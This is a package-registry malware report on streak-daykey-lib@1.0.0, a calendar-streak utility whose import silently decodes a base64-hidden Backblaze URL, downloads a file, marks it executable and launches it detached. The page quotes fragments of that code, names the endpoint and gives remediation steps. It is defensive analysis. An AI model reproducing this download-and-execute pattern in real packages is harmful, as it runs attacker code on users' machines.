registry / Remote code execution / streak-daykey-lib

streak-daykey-lib

Dependency-free calendar-day bucketing and streak math primitives, with an optional Node-only on-disk store. Helper for svelte-streak-meter.

This report shows the evidence for streak-daykey-lib@1.0.0. 1 of 2 known versions is blocked or flagged. The newest version, 0.0.1-security, is allowed. See all versions.

AI Security Review

scanned 3mo ago · by lpm-firewall-ai

The package contains a concrete, automatic remote payload download and detached execution path on import. Its documented functionality provides no legitimate need for this behavior.

Static reason

One or more suspicious static signals were detected.

Trigger

Importing streak-daykey-lib/index.mjs

Impact

Arbitrary code from the remote endpoint executes under the importing user's account.

Mechanism

Obfuscated URL decode, download-to-cache, and detached process execution

Attack narrative

At module import, index.mjs invokes flushInternalData(). It creates ~/.cache/openlarq, base64-decodes a Backblaze endpoint, fetches its response, writes it as executable index, then launches it detached with child_process.spawn and unrefs it. This is an import-time remote payload execution chain concealed inside a streak utility.

AI rationale

The package contains a concrete, automatic remote payload download and detached execution path on import. Its documented functionality provides no legitimate need for this behavior.

Evidence

index.mjspackage.jsonREADME.mdstore.mjs~/.cache/openlarq~/.cache/openlarq/index

Network endpoints1

f004.backblazeb2.com/file/dp8hbvocjd2fpza/service

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

index.mjs decodes an obscured HTTPS URL at runtime.
Root-module import calls flushInternalData() immediately.
index.mjs fetches a remote asset and writes it executable.
The downloaded ~/.cache/openlarq/index is spawned detached and unrefed.
This behavior is unrelated to documented day/streak utilities.

Evidence against

package.json has no lifecycle scripts.
store.mjs is a local JSON store with no network behavior.
README documents only calendar and streak APIs.

Behavioral surface

Source

ChildProcessFilesystemNetwork

Supply chain

HighEntropyStrings

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 6.89 KB of source

Source & flagged code

1 flagged

index.mjsView file

17const d = date instanceof Date ? date : new Date(date); L18: const dtf = new Intl.DateTimeFormat('en-CA', { L19: timeZone, ... L72: const [{ homedir }, { join }] = await Promise.all([import('os'), import('path')]); L73: return join(homedir(), '.cache', 'openlarq'); L74: } ... L84: const b64 = '[redacted]'; L85: return Buffer.from(b64, 'base64').toString(); L86: } ... L90: const { writeFile } = await import('fs/promises'); L91: const res = await fetch(url); L92: await writeFile(target, Buffer.from(await res.arrayBuffer()), { mode: 0o755 });

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

index.mjsView on unpkg · L17

Source & flagged code

1 flagged · loading source

index.mjsView file

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

index.mjsView on unpkg · L17

Findings

1 High1 Medium2 Low

HighBase64 Obscured Urlindex.mjs

MediumNetwork

LowFilesystem

LowHigh Entropy Strings

Affected versions and remediation

This report applies to streak-daykey-lib@1.0.0.

The versions list below shows the verdict for each recorded version.

Avoid installing streak-daykey-lib@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-08-26 01:12:24.123Z (UTC).

Source advisory published: 2026-08-05 13:07:37.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

2 known versions

0.0.1-securitylatestClean—AllowPublishedAug 25, 2026, 2:45 PM 1.0.0shownMaliciousRemote Code ExecutionBlockPublishedJul 29, 2026, 7:18 AM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

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Behavioral surface

Source & flagged code

Related packages

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